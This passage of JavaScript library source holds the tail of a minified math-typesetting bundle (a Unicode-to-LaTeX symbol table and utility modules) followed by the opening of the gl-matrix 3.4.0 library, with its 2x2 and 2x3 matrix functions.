rue);a(n,l,h,"\u03be","\\xi",true);a(n,l,h,"\u03bf","\\omicron",true);a(n,l,h,"\u03c0","\\pi",true);a(n,l,h,"\u03c1","\\rho",true);a(n,l,h,"\u03c3","\\sigma",true);a(n,l,h,"\u03c4","\\tau",true);a(n,l,h,"\u03c5","\\upsilon",true);a(n,l,h,"\u03d5","\\phi",true);a(n,l,h,"\u03c7","\\chi",true);a(n,l,h,"\u03c8","\\psi",true);a(n,l,h,"\u03c9","\\omega",true);a(n,l,h,"\u03b5","\\varepsilon",true);a(n,l,h,"\u03d1","\\vartheta",true);a(n,l,h,"\u03d6","\\varpi",true);a(n,l,h,"\u03f1","\\varrho",true);a(n,l,h,"\u03c2","\\varsigma",true);a(n,l,h,"\u03c6","\\varphi",true);a(n,l,u,"\u2217","*");a(n,l,u,"+","+");a(n,l,u,"\u2212","-");a(n,l,u,"\u22c5","\\cdot");a(n,l,u,"\u2218","\\circ");a(n,l,u,"\xf7","\\div");a(n,l,u,"\xb1","\\pm");a(n,l,u,"\xd7","\\times");a(n,l,u,"\u2229","\\cap");a(n,l,u,"\u222a","\\cup");a(n,l,u,"\u2216","\\setminus");a(n,l,u,"\u2227","\\land");a(n,l,u,"\u2228","\\lor");a(n,l,u,"\u2227","\\wedge");a(n,l,u,"\u2228","\\vee");a(n,l,y,"\u221a","\\surd");a(n,l,d,"(","(");a(n,l,d,"[","[");a(n,l,d,"\u27e8","\\langle");a(n,l,d,"\u2223","\\lvert");a(n,l,d,"\u2225","\\lVert");a(n,l,c,")",")");a(n,l,c,"]","]");a(n,l,c,"?","?");a(n,l,c,"!","!");a(n,l,c,"\u27e9","\\rangle");a(n,l,c,"\u2223","\\rvert");a(n,l,c,"\u2225","\\rVert");a(n,l,m,"=","=");a(n,l,m,"<","<");a(n,l,m,">",">");a(n,l,m,":",":");a(n,l,m,"\u2248","\\approx");a(n,l,m,"\u2245","\\cong");a(n,l,m,"\u2265","\\ge");a(n,l,m,"\u2265","\\geq");a(n,l,m,"\u2190","\\gets");a(n,l,m,">","\\gt");a(n,l,m,"\u2208","\\in");a(n,l,m,"\u2209","\\notin");a(n,l,m,"\u0338","\\not");a(n,l,m,"\u2282","\\subset");a(n,l,m,"\u2283","\\supset");a(n,l,m,"\u2286","\\subseteq");a(n,l,m,"\u2287","\\supseteq");a(n,s,m,"\u2288","\\nsubseteq");a(n,s,m,"\u2289","\\nsupseteq");a(n,l,m,"\u22a8","\\models");a(n,l,m,"\u2190","\\leftarrow");a(n,l,m,"\u2264","\\le");a(n,l,m,"\u2264","\\leq");a(n,l,m,"<","\\lt");a(n,l,m,"\u2260","\\ne");a(n,l,m,"\u2260","\\neq");a(n,l,m,"\u2192","\\rightarrow");a(n,l,m,"\u2192","\\to");a(n,s,m,"\u2271","\\ngeq");a(n,s,m,"\u2270","\\nleq");a(n,l,g,null,"\\!");a(n,l,g,"\xa0","\\ ");a(n,l,g,"\xa0","~");a(n,l,g,null,"\\,");a(n,l,g,null,"\\:");a(n,l,g,null,"\\;");a(n,l,g,null,"\\enspace");a(n,l,g,null,"\\qquad");a(n,l,g,null,"\\quad");a(n,l,g,"\xa0","\\space");a(n,l,p,",",",");a(n,l,p,";",";");a(n,l,p,":","\\colon");a(n,s,u,"\u22bc","\\barwedge");a(n,s,u,"\u22bb","\\veebar");a(n,l,u,"\u2299","\\odot");a(n,l,u,"\u2295","\\oplus");a(n,l,u,"\u2297","\\otimes");a(n,l,y,"\u2202","\\partial");a(n,l,u,"\u2298","\\oslash");a(n,s,u,"\u229a","\\circledcirc");a(n,s,u,"\u22a1","\\boxdot");a(n,l,u,"\u25b3","\\bigtriangleup");a(n,l,u,"\u25bd","\\bigtriangledown");a(n,l,u,"\u2020","\\dagger");a(n,l,u,"\u22c4","\\diamond");a(n,l,u,"\u22c6","\\star");a(n,l,u,"\u25c3","\\triangleleft");a(n,l,u,"\u25b9","\\triangleright");a(n,l,d,"{","\\{");a(i,l,y,"{","\\{");a(i,l,y,"{","\\textbraceleft");a(n,l,c,"}","\\}");a(i,l,y,"}","\\}");a(i,l,y,"}","\\textbraceright");a(n,l,d,"{","\\lbrace");a(n,l,c,"}","\\rbrace");a(n,l,d,"[","\\lbrack");a(n,l,c,"]","\\rbrack");a(i,l,y,"<","\\textless");a(i,l,y,">","\\textgreater");a(n,l,d,"\u230a","\\lfloor");a(n,l,c,"\u230b","\\rfloor");a(n,l,d,"\u2308","\\lceil");a(n,l,c,"\u2309","\\rceil");a(n,l,y,"\\","\\backslash");a(n,l,y,"\u2223","|");a(n,l,y,"\u2223","\\vert");a(i,l,y,"|","\\textbar");a(n,l,y,"\u2225","\\|");a(n,l,y,"\u2225","\\Vert");a(i,l,y,"\u2225","\\textbardbl");a(n,l,m,"\u2191","\\uparrow");a(n,l,m,"\u21d1","\\Uparrow");a(n,l,m,"\u2193","\\downarrow");a(n,l,m,"\u21d3","\\Downarrow");a(n,l,m,"\u2195","\\updownarrow");a(n,l,m,"\u21d5","\\Updownarrow");a(n,l,v,"\u2210","\\coprod");a(n,l,v,"\u22c1","\\bigvee");a(n,l,v,"\u22c0","\\bigwedge");a(n,l,v,"\u2a04","\\biguplus");a(n,l,v,"\u22c2","\\bigcap");a(n,l,v,"\u22c3","\\bigcup");a(n,l,v,"\u222b","\\int");a(n,l,v,"\u222b","\\intop");a(n,l,v,"\u222c","\\iint");a(n,l,v,"\u222d","\\iiint");a(n,l,v,"\u220f","\\prod");a(n,l,v,"\u2211","\\sum");a(n,l,v,"\u2a02","\\bigotimes");a(n,l,v,"\u2a01","\\bigoplus");a(n,l,v,"\u2a00","\\bigodot");a(n,l,v,"\u222e","\\oint");a(n,l,v,"\u2a06","\\bigsqcup");a(n,l,v,"\u222b","\\smallint");a(i,l,f,"\u2026","\\textellipsis");a(n,l,f,"\u2026","\\mathellipsis");a(i,l,f,"\u2026","\\ldots",true);a(n,l,f,"\u2026","\\ldots",true);a(n,l,f,"\u22ef","\\cdots",true);a(n,l,f,"\u22f1","\\ddots",true);a(n,l,y,"\u22ee","\\vdots",true);a(n,l,o,"\xb4","\\acute");a(n,l,o,"`","\\grave");a(n,l,o,"\xa8","\\ddot");a(n,l,o,"~","\\tilde");a(n,l,o,"\xaf","\\bar");a(n,l,o,"\u02d8","\\breve");a(n,l,o,"\u02c7","\\check");a(n,l,o,"^","\\hat");a(n,l,o,"\u20d7","\\vec");a(n,l,o,"\u02d9","\\dot");a(n,l,h,"\u0131","\\imath");a(n,l,h,"\u0237","\\jmath");a(i,l,o,"\u02ca","\\'");a(i,l,o,"\u02cb","\\`");a(i,l,o,"\u02c6","\\^");a(i,l,o,"\u02dc","\\~");a(i,l,o,"\u02c9","\\=");a(i,l,o,"\u02d8","\\u");a(i,l,o,"\u02d9","\\.");a(i,l,o,"\u02da","\\r");a(i,l,o,"\u02c7","\\v");a(i,l,o,"\xa8",'\\"');a(i,l,o,"\u030b","\\H");a(i,l,y,"\u2013","--");a(i,l,y,"\u2013","\\textendash");a(i,l,y,"\u2014","---");a(i,l,y,"\u2014","\\textemdash");a(i,l,y,"\u2018","`");a(i,l,y,"\u2018","\\textquoteleft");a(i,l,y,"\u2019","'");a(i,l,y,"\u2019","\\textquoteright");a(i,l,y,"\u201c","``");a(i,l,y,"\u201c","\\textquotedblleft");a(i,l,y,"\u201d","''");a(i,l,y,"\u201d","\\textquotedblright");a(n,l,y,"\xb0","\\degree");a(i,l,y,"\xb0","\\degree");a(n,l,h,"\xa3","\\pounds");a(n,l,h,"\xa3","\\mathsterling");a(i,l,h,"\xa3","\\pounds");a(i,l,h,"\xa3","\\textsterling");a(n,s,y,"\u2720","\\maltese");a(i,s,y,"\u2720","\\maltese");a(i,l,g,"\xa0","\\ ");a(i,l,g,"\xa0"," ");a(i,l,g,"\xa0","~");var x='0123456789/@."';for(var w=0;w<x.length;w++){var b=x.charAt(w);a(n,l,y,b,b)}var k='0123456789!@*()-=+[]<>|";:?/.,';for(var M=0;M<k.length;M++){var z=k.charAt(M);a(i,l,y,z,z)}var S="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";for(var A=0;A<S.length;A++){var C=S.charAt(A);a(n,l,h,C,C);a(i,l,y,C,C)}for(var T=192;T<=214;T++){var N=String.fromCharCode(T);a(n,l,h,N,N);a(i,l,y,N,N)}for(var R=216;R<=246;R++){var q=String.fromCharCode(R);a(n,l,h,q,q);a(i,l,y,q,q)}for(var _=248;_<=255;_++){var E=String.fromCharCode(_);a(n,l,h,E,E);a(i,l,y,E,E)}for(var B=1040;B<=1103;B++){var O=String.fromCharCode(B);a(i,l,y,O,O)}a(i,l,y,"\u2013","\u2013");a(i,l,y,"\u2014","\u2014");a(i,l,y,"\u2018","\u2018");a(i,l,y,"\u2019","\u2019");a(i,l,y,"\u201c","\u201c");a(i,l,y,"\u201d","\u201d")},{}],49:[function(e,t,r){"use strict";var a=/[\uAC00-\uD7AF]/;var n=/[\u3000-\u30FF\u4E00-\u9FAF\uAC00-\uD7AF\uFF00-\uFF60]/;t.exports={cjkRegex:n,hangulRegex:a}},{}],50:[function(e,t,r){"use strict";var a=e("./ParseError");var n=i(a);function i(e){return e&&e.__esModule?e:{default:e}}var l={pt:1,mm:7227/2540,cm:7227/254,in:72.27,bp:803/800,pc:12,dd:1238/1157,cc:14856/1157,nd:685/642,nc:1370/107,sp:1/65536,px:803/800};var s={ex:true,em:true,mu:true};var o=function e(t){if(t.unit){t=t.unit}return t in l||t in s||t==="ex"};var u=function e(t,r){var a=void 0;if(t.unit in l){a=l[t.unit]/r.fontMetrics().ptPerEm/r.sizeMultiplier}else if(t.unit==="mu"){a=r.fontMetrics().cssEmPerMu}else{var i=void 0;if(r.style.isTight()){i=r.havingStyle(r.style.text())}else{i=r}if(t.unit==="ex"){a=i.fontMetrics().xHeight}else if(t.unit==="em"){a=i.fontMetrics().quad}else{throw new n.default("Invalid unit: '"+t.unit+"'")}if(i!==r){a*=i.sizeMultiplier/r.sizeMultiplier}}return t.number*a};t.exports={validUnit:o,calculateSize:u}},{"./ParseError":29}],51:[function(e,t,r){"use strict";var a=Array.prototype.indexOf;var n=function e(t,r){if(t==null){return-1}if(a&&t.indexOf===a){return t.indexOf(r)}var n=t.length;for(var i=0;i<n;i++){if(t[i]===r){return i}}return-1};var i=function e(t,r){return n(t,r)!==-1};var l=function e(t,r){return t===undefined?r:t};var s=/([A-Z])/g;var o=function e(t){return t.replace(s,"-$1").toLowerCase()};var u={"&":"&amp;",">":"&gt;","<":"&lt;",'"':"&quot;","'":"&#x27;"};var c=/[&><"']/g;function f(e){return u[e]}function h(e){return(""+e).replace(c,f)}var v=void 0;if(typeof document!=="undefined"){var d=document.createElement("span");if("textContent"in d){v=function e(t,r){t.textContent=r}}else{v=function e(t,r){t.innerText=r}}}function p(e){v(e,"")}t.exports={contains:i,deflt:l,escape:h,hyphenate:o,indexOf:n,setTextContent:v,clearNode:p}},{}]},{},[1])(1)}); ```
```javascript /*! @fileoverview gl-matrix - High performance matrix and vector operations @author Brandon Jones @author Colin MacKenzie IV @version 3.4.0 Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ (function (global, factory) { typeof exports === 'object' && typeof module !== 'undefined' ? factory(exports) : typeof define === 'function' && define.amd ? define(['exports'], factory) : (global = typeof globalThis !== 'undefined' ? globalThis : global || self, factory(global.glMatrix = {})); })(this, (function (exports) { 'use strict'; /** * Common utilities * @module glMatrix */ // Configuration Constants var EPSILON = 0.000001; var ARRAY_TYPE = typeof Float32Array !== "undefined" ? Float32Array : Array; var RANDOM = Math.random; var ANGLE_ORDER = "zyx"; /** * Sets the type of array used when creating new vectors and matrices * * @param {Float32ArrayConstructor | ArrayConstructor} type Array type, such as Float32Array or Array */ function setMatrixArrayType(type) { ARRAY_TYPE = type; } var degree = Math.PI / 180; /** * Convert Degree To Radian * * @param {Number} a Angle in Degrees */ function toRadian(a) { return a * degree; } /** * Tests whether or not the arguments have approximately the same value, within an absolute * or relative tolerance of glMatrix.EPSILON (an absolute tolerance is used for values less * than or equal to 1.0, and a relative tolerance is used for larger values) * * @param {Number} a The first number to test. * @param {Number} b The second number to test. * @returns {Boolean} True if the numbers are approximately equal, false otherwise. */ function equals$9(a, b) { return Math.abs(a - b) <= EPSILON * Math.max(1.0, Math.abs(a), Math.abs(b)); } if (!Math.hypot) Math.hypot = function () { var y = 0, i = arguments.length; while (i--) { y += arguments[i] * arguments[i]; } return Math.sqrt(y); }; var common = /*#__PURE__*/Object.freeze({ __proto__: null, EPSILON: EPSILON, get ARRAY_TYPE () { return ARRAY_TYPE; }, RANDOM: RANDOM, ANGLE_ORDER: ANGLE_ORDER, setMatrixArrayType: setMatrixArrayType, toRadian: toRadian, equals: equals$9 }); /** * 2x2 Matrix * @module mat2 */ /** * Creates a new identity mat2 * * @returns {mat2} a new 2x2 matrix */ function create$8() { var out = new ARRAY_TYPE(4); if (ARRAY_TYPE != Float32Array) { out[1] = 0; out[2] = 0; } out[0] = 1; out[3] = 1; return out; } /** * Creates a new mat2 initialized with values from an existing matrix * * @param {ReadonlyMat2} a matrix to clone * @returns {mat2} a new 2x2 matrix */ function clone$8(a) { var out = new ARRAY_TYPE(4); out[0] = a[0]; out[1] = a[1]; out[2] = a[2]; out[3] = a[3]; return out; } /** * Copy the values from one mat2 to another * * @param {mat2} out the receiving matrix * @param {ReadonlyMat2} a the source matrix * @returns {mat2} out */ function copy$8(out, a) { out[0] = a[0]; out[1] = a[1]; out[2] = a[2]; out[3] = a[3]; return out; } /** * Set a mat2 to the identity matrix * * @param {mat2} out the receiving matrix * @returns {mat2} out */ function identity$5(out) { out[0] = 1; out[1] = 0; out[2] = 0; out[3] = 1; return out; } /** * Create a new mat2 with the given values * * @param {Number} m00 Component in column 0, row 0 position (index 0) * @param {Number} m01 Component in column 0, row 1 position (index 1) * @param {Number} m10 Component in column 1, row 0 position (index 2) * @param {Number} m11 Component in column 1, row 1 position (index 3) * @returns {mat2} out A new 2x2 matrix */ function fromValues$8(m00, m01, m10, m11) { var out = new ARRAY_TYPE(4); out[0] = m00; out[1] = m01; out[2] = m10; out[3] = m11; return out; } /** * Set the components of a mat2 to the given values * * @param {mat2} out the receiving matrix * @param {Number} m00 Component in column 0, row 0 position (index 0) * @param {Number} m01 Component in column 0, row 1 position (index 1) * @param {Number} m10 Component in column 1, row 0 position (index 2) * @param {Number} m11 Component in column 1, row 1 position (index 3) * @returns {mat2} out */ function set$8(out, m00, m01, m10, m11) { out[0] = m00; out[1] = m01; out[2] = m10; out[3] = m11; return out; } /** * Transpose the values of a mat2 * * @param {mat2} out the receiving matrix * @param {ReadonlyMat2} a the source matrix * @returns {mat2} out */ function transpose$2(out, a) { // If we are transposing ourselves we can skip a few steps but have to cache // some values if (out === a) { var a1 = a[1]; out[1] = a[2]; out[2] = a1; } else { out[0] = a[0]; out[1] = a[2]; out[2] = a[1]; out[3] = a[3]; } return out; } /** * Inverts a mat2 * * @param {mat2} out the receiving matrix * @param {ReadonlyMat2} a the source matrix * @returns {mat2} out */ function invert$5(out, a) { var a0 = a[0], a1 = a[1], a2 = a[2], a3 = a[3]; // Calculate the determinant var det = a0 * a3 - a2 * a1; if (!det) { return null; } det = 1.0 / det; out[0] = a3 * det; out[1] = -a1 * det; out[2] = -a2 * det; out[3] = a0 * det; return out; } /** * Calculates the adjugate of a mat2 * * @param {mat2} out the receiving matrix * @param {ReadonlyMat2} a the source matrix * @returns {mat2} out */ function adjoint$2(out, a) { // Caching this value is necessary if out == a var a0 = a[0]; out[0] = a[3]; out[1] = -a[1]; out[2] = -a[2]; out[3] = a0; return out; } /** * Calculates the determinant of a mat2 * * @param {ReadonlyMat2} a the source matrix * @returns {Number} determinant of a */ function determinant$3(a) { return a[0] * a[3] - a[2] * a[1]; } /** * Multiplies two mat2's * * @param {mat2} out the receiving matrix * @param {ReadonlyMat2} a the first operand * @param {ReadonlyMat2} b the second operand * @returns {mat2} out */ function multiply$8(out, a, b) { var a0 = a[0], a1 = a[1], a2 = a[2], a3 = a[3]; var b0 = b[0], b1 = b[1], b2 = b[2], b3 = b[3]; out[0] = a0 * b0 + a2 * b1; out[1] = a1 * b0 + a3 * b1; out[2] = a0 * b2 + a2 * b3; out[3] = a1 * b2 + a3 * b3; return out; } /** * Rotates a mat2 by the given angle * * @param {mat2} out the receiving matrix * @param {ReadonlyMat2} a the matrix to rotate * @param {Number} rad the angle to rotate the matrix by * @returns {mat2} out */ function rotate$4(out, a, rad) { var a0 = a[0], a1 = a[1], a2 = a[2], a3 = a[3]; var s = Math.sin(rad); var c = Math.cos(rad); out[0] = a0 * c + a2 * s; out[1] = a1 * c + a3 * s; out[2] = a0 * -s + a2 * c; out[3] = a1 * -s + a3 * c; return out; } /** * Scales the mat2 by the dimensions in the given vec2 * * @param {mat2} out the receiving matrix * @param {ReadonlyMat2} a the matrix to rotate * @param {ReadonlyVec2} v the vec2 to scale the matrix by * @returns {mat2} out **/ function scale$8(out, a, v) { var a0 = a[0], a1 = a[1], a2 = a[2], a3 = a[3]; var v0 = v[0], v1 = v[1]; out[0] = a0 * v0; out[1] = a1 * v0; out[2] = a2 * v1; out[3] = a3 * v1; return out; } /** * Creates a matrix from a given angle * This is equivalent to (but much faster than): * * mat2.identity(dest); * mat2.rotate(dest, dest, rad); * * @param {mat2} out mat2 receiving operation result * @param {Number} rad the angle to rotate the matrix by * @returns {mat2} out */ function fromRotation$4(out, rad) { var s = Math.sin(rad); var c = Math.cos(rad); out[0] = c; out[1] = s; out[2] = -s; out[3] = c; return out; } /** * Creates a matrix from a vector scaling * This is equivalent to (but much faster than): * * mat2.identity(dest); * mat2.scale(dest, dest, vec); * * @param {mat2} out mat2 receiving operation result * @param {ReadonlyVec2} v Scaling vector * @returns {mat2} out */ function fromScaling$3(out, v) { out[0] = v[0]; out[1] = 0; out[2] = 0; out[3] = v[1]; return out; } /** * Returns a string representation of a mat2 * * @param {ReadonlyMat2} a matrix to represent as a string * @returns {String} string representation of the matrix */ function str$8(a) { return "mat2(" + a[0] + ", " + a[1] + ", " + a[2] + ", " + a[3] + ")"; } /** * Returns Frobenius norm of a mat2 * * @param {ReadonlyMat2} a the matrix to calculate Frobenius norm of * @returns {Number} Frobenius norm */ function frob$3(a) { return Math.hypot(a[0], a[1], a[2], a[3]); } /** * Returns L, D and U matrices (Lower triangular, Diagonal and Upper triangular) by factorizing the input matrix * @param {ReadonlyMat2} L the lower triangular matrix * @param {ReadonlyMat2} D the diagonal matrix * @param {ReadonlyMat2} U the upper triangular matrix * @param {ReadonlyMat2} a the input matrix to factorize */ function LDU(L, D, U, a) { L[2] = a[2] / a[0]; U[0] = a[0]; U[1] = a[1]; U[3] = a[3] - L[2] * U[1]; return [L, D, U]; } /** * Adds two mat2's * * @param {mat2} out the receiving matrix * @param {ReadonlyMat2} a the first operand * @param {ReadonlyMat2} b the second operand * @returns {mat2} out */ function add$8(out, a, b) { out[0] = a[0] + b[0]; out[1] = a[1] + b[1]; out[2] = a[2] + b[2]; out[3] = a[3] + b[3]; return out; } /** * Subtracts matrix b from matrix a * * @param {mat2} out the receiving matrix * @param {ReadonlyMat2} a the first operand * @param {ReadonlyMat2} b the second operand * @returns {mat2} out */ function subtract$6(out, a, b) { out[0] = a[0] - b[0]; out[1] = a[1] - b[1]; out[2] = a[2] - b[2]; out[3] = a[3] - b[3]; return out; } /** * Returns whether or not the matrices have exactly the same elements in the same position (when compared with ===) * * @param {ReadonlyMat2} a The first matrix. * @param {ReadonlyMat2} b The second matrix. * @returns {Boolean} True if the matrices are equal, false otherwise. */ function exactEquals$8(a, b) { return a[0] === b[0] && a[1] === b[1] && a[2] === b[2] && a[3] === b[3]; } /** * Returns whether or not the matrices have approximately the same elements in the same position. * * @param {ReadonlyMat2} a The first matrix. * @param {ReadonlyMat2} b The second matrix. * @returns {Boolean} True if the matrices are equal, false otherwise. */ function equals$8(a, b) { var a0 = a[0], a1 = a[1], a2 = a[2], a3 = a[3]; var b0 = b[0], b1 = b[1], b2 = b[2], b3 = b[3]; return Math.abs(a0 - b0) <= EPSILON * Math.max(1.0, Math.abs(a0), Math.abs(b0)) && Math.abs(a1 - b1) <= EPSILON * Math.max(1.0, Math.abs(a1), Math.abs(b1)) && Math.abs(a2 - b2) <= EPSILON * Math.max(1.0, Math.abs(a2), Math.abs(b2)) && Math.abs(a3 - b3) <= EPSILON * Math.max(1.0, Math.abs(a3), Math.abs(b3)); } /** * Multiply each element of the matrix by a scalar. * * @param {mat2} out the receiving matrix * @param {ReadonlyMat2} a the matrix to scale * @param {Number} b amount to scale the matrix's elements by * @returns {mat2} out */ function multiplyScalar$3(out, a, b) { out[0] = a[0] * b; out[1] = a[1] * b; out[2] = a[2] * b; out[3] = a[3] * b; return out; } /** * Adds two mat2's after multiplying each element of the second operand by a scalar value. * * @param {mat2} out the receiving vector * @param {ReadonlyMat2} a the first operand * @param {ReadonlyMat2} b the second operand * @param {Number} scale the amount to scale b's elements by before adding * @returns {mat2} out */ function multiplyScalarAndAdd$3(out, a, b, scale) { out[0] = a[0] + b[0] * scale; out[1] = a[1] + b[1] * scale; out[2] = a[2] + b[2] * scale; out[3] = a[3] + b[3] * scale; return out; } /** * Alias for {@link mat2.multiply} * @function */ var mul$8 = multiply$8; /** * Alias for {@link mat2.subtract} * @function */ var sub$6 = subtract$6; var mat2 = /*#__PURE__*/Object.freeze({ __proto__: null, create: create$8, clone: clone$8, copy: copy$8, identity: identity$5, fromValues: fromValues$8, set: set$8, transpose: transpose$2, invert: invert$5, adjoint: adjoint$2, determinant: determinant$3, multiply: multiply$8, rotate: rotate$4, scale: scale$8, fromRotation: fromRotation$4, fromScaling: fromScaling$3, str: str$8, frob: frob$3, LDU: LDU, add: add$8, subtract: subtract$6, exactEquals: exactEquals$8, equals: equals$8, multiplyScalar: multiplyScalar$3, multiplyScalarAndAdd: multiplyScalarAndAdd$3, mul: mul$8, sub: sub$6 }); /** * 2x3 Matrix * @module mat2d * @description * A mat2d contains six elements defined as: * <pre> * [a, b, * c, d, * tx, ty] * </pre> * This is a short form for the 3x3 matrix: * <pre> * [a, b, 0, * c, d, 0, * tx, ty, 1] * </pre> * The last column is ignored so the array is shorter and operations are faster. */ /** * Creates a new identity mat2d * * @returns {mat2d} a new 2x3 matrix */ function create$7() { var out = new ARRAY_TYPE(6); if (ARRAY_TYPE != Float32Array) { out[1] = 0; out[2] = 0; out[4] = 0; out[5] = 0; } out[0] = 1; out[3] = 1; return out; } /** * Creates a new mat2d initialized with values from an existing matrix * * @param {ReadonlyMat2d} a matrix to clone * @returns {mat2d} a new 2x3 matrix */ function clone$7(a) { var out = new ARRAY_TYPE(6); out[0] = a[0]; out[1] = a[1]; out[2] = a[2]; out[3] = a[3]; out[4] = a[4]; out[5] = a[5]; return out; } /** * Copy the values from one mat2d to another * * @param {mat2d} out the receiving matrix * @param {ReadonlyMat2d} a the source matrix * @returns {mat2d} out */ function copy$7(out, a) { out[0] = a[0]; out[1] = a[1]; out[2] = a[2]; out[3] = a[3]; out[4] = a[4]; out[5] = a[5]; return out; } /** * Set a mat2d to the identity matrix * * @param {mat2d} out the receiving matrix * @returns {mat2d} out */ function identity$4(out) { out[0] = 1; out[1] = 0; out[2] = 0; out[3] = 1; out[4] = 0; out[5] = 0; return out; } /** * Create a new mat2d with the given values * * @param {Number} a Component A (index 0) * @param {Number} b Component B (index 1) * @param {Number} c Component C (index 2) * @param {Number} d Component D (index 3) * @param {Number} tx Component TX (index 4) * @param {Number} ty Component TY (index 5) * @returns {mat2d} A new mat2d */ function fromValues$7(a, b, c, d, tx, ty) { var out = new ARRAY_TYPE(6); out[0] = a; out[1] = b; out[2] = c; out[3] = d; out[4] = tx; out[5] = ty; return out; } /** * Set the components of a mat2d to the given values * * @param {mat2d} out the receiving matrix * @param {Number} a Component A (index 0) * @param {Number} b Component B (index 1) * @param {Number} c Component C (index 2) * @param {Number} d Component D (index 3) * @param {Number} tx Component TX (index 4) * @param {Number} ty Component TY (index 5) * @returns {mat2d} out */ function set$7(out, a, b, c, d, tx, ty) { out[0] = a; out[1] = b; out[2] = c; out[3] = d; out[4] = tx; out[5] = ty; return out; } /** * Inverts a mat2d * * @param {mat2d} out the receiving matrix * @param {ReadonlyMat2d} a the source matrix * @returns {mat2d} out */ function invert$4(out, a) { var aa = a[0], ab = a[1], ac = a[2], ad = a[3]; var atx = a[4], aty = a[5]; var det = aa * ad - ab * ac; if (!det) { return null; } det = 1.0 / det; out[0] = ad * det; out[1] = -ab * det; out[2] = -ac * det; out[3] = aa * det; out[4] = (ac * aty - ad * atx) * det; out[5] = (ab * atx - aa * aty) * det; return out; } /** * Calculates the determinant of a mat2d * * @param {ReadonlyMat2d} a the source matrix * @returns {Number} determinant of a */ function determinant$2(a) { return a[0] * a[3] - a[1] * a[2]; } /** * Multiplies two mat2d's * * @param {mat2d} out the receiving matrix * @param {ReadonlyMat2d} a the first operand * @param {ReadonlyMat2d} b the second operand * @returns {mat2d} out */ function multiply$7(out, a, b) { var a0 = a[0], a1 = a[1], a2 = a[2], a3 = a[3], a4 = a[4], a5 = a[5]; var b0 = b[0], b1 = b[1], b2 = b[2], b3 = b[3], b4 = b[4], b5 = b[5]; out[0] = a0 * b0 + a2 * b1; out[1] = a1 * b0 + a3 * b1; out[2] = a0 * b2 + a2 * b3; out[3] = a1 * b2 + a3 * b3; out[4] = a0 * b4 + a2 * b5 + a4; out[5] = a1 * b4 + a3 * b5 + a5; return out; } /** * Rotates a mat2d by the given angle * * @param {mat2d} out the receiving matrix * @param {ReadonlyMat2d} a the matrix to rotate * @param {Number} rad the angle to rotate the matrix by * @returns {mat2d} out */ function rotate$3(out, a, rad) { var a0 = a[0], a1 = a[1], a2 = a[2], a3 = a[3], a4 = a[4], a5 = a[5]; var s = Math.sin(rad); var c = Math.cos(rad); out[0] = a0 * c + a2 * s; out[1] = a1 * c + a3 * s; out[2] = a0 * -s + a2 * c; out[3] = a1 * -s + a3 * c; out[4] = a4; out[5] = a5; return out; } /** * Scales the mat2d by the dimensions in the given vec2 * * @param {mat2d} out the receiving matrix * @param {ReadonlyMat2d} a the matrix to translate * @param {ReadonlyVec2} v the vec2 to scale the matrix by * @returns {mat2d} out **/ function scale$7(out, a, v) { var a0 = a[0], a1 = a[1], a2 = a[2], a3 = a[3], a4 = a[4], a5 = a[5]; var v0 = v[0], v1 = v[1]; out[0] = a0 * v0; out[1] = a1 * v0; out[2] = a2 * v1; out[3] = a3 * v1; out[4] = a4; out[5] = a5; return out; } /** * Translates the mat2d by the dimensions in the given vec2 * * @param {mat2d} out the receiving matrix * @param {ReadonlyMat2d} a the matrix to translate * @param {ReadonlyVec2} v the vec2 to translate the matrix by * @returns {mat2d} out **/ function translate$3(out, a, v) { var a0 = a[0], a1 = a[1], a2 = a[2], a3 = a[3], a4 = a[4], a5 = a[5]; var v0 = v[0], v1 = v[1]; out[0] = a0; out[1] = a1; out[2] = a2; out[3] = a3; out[4] = a0 * v0 + a2 * v1 + a4; out[5] = a1 * v0 + a3 * v1 + a5; return out; } /** * Creates a matrix from a given angle * This is equivalent to (but much faster than): * * mat2d.identity(dest); * mat2d.rotate(dest, dest, rad); * * @param {mat2d} out mat2d receiving operation result * @param {Number} rad the angle to rotate the matrix by * @returns {mat2d} out */ function fromRotation$3(out, rad) { var s = Math.sin(rad), c = Math.cos(rad); out[0] = c; out[1] = s; out[2] = -s; out[3] = c; out[4] = 0; out[5] = 0; return out; } /** * Creates a matrix from a vector scaling * This is equivalent to (but much faster than): * * mat2d.identity(dest); * mat2d.scale(dest, dest, vec); * * @param {mat2d} out mat2d receiving operation result * @param {ReadonlyVec2} v Scaling vector * @returns {mat2d} out */ function fromScaling$2(out, v) { out[0] = v[0]; out[1] = 0; out[2] = 0; out[3] = v[1]; out[4] = 0; out[5] = 0; return out; } /** * Creates a matrix from a vector translation * This is equivalent to (but much faster than): * * mat2d.identity(dest); * mat2d.translate(dest, dest, vec); * * @param {mat2d} out mat2d receiving operation result * @param {ReadonlyVec2} v Translation vector * @returns {mat2d} out */ function fromTranslation$3(out, v) { out[0] = 1; out[1] = 0; out[2] = 0; out[3] = 1; out[4] = v[0]; out[5] = v[1]; return out; } /** * Returns a string representation of a mat2d * * @param {ReadonlyMat2d} a matrix to represent as a string * @returns {String} string representation of the matrix */ function str$7(a) { return "mat2d(" + a[0] + ", " + a[1] + ", " + a[2] + ", " + a[3] + ", " + a[4] + ", " + a[5] + ")"; } /** * Returns Frobenius norm of a mat2d * * @param {ReadonlyMat2d} a the matrix to calculate Frobenius norm of * @returns {Number} Frobenius norm */ function frob$2(a) { return Math.hypot(a[0], a[1], a[2], a[3], a[4], a[5], 1); } /** * Adds two mat2d's * * @param {mat2d} out the receiving matrix * @param {ReadonlyMat2d} a the first operand * @param {ReadonlyMat2d} b the second operand * 